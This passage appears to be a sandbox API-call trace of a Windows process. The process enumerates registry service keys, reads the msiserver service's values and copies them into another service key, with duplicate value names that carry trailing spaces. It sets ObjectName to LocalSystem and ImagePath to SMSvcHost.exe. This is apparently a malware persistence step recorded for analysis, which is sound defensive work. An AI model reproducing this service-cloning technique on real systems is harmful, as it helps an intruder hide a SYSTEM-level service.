out: lpName="mrxsmb") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.501] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.501] RegCloseKey (hKey=0xc4) returned 0x0 [0228.501] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.501] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.501] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.502] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.502] RegCloseKey (hKey=0x154) returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.503] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.503] RegCloseKey (hKey=0xc4) returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.503] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.504] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.505] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.505] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.505] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.505] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.505] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.522] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.522] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.522] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.523] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.523] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.523] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.524] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.525] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0228.525] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.525] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.526] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.526] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", 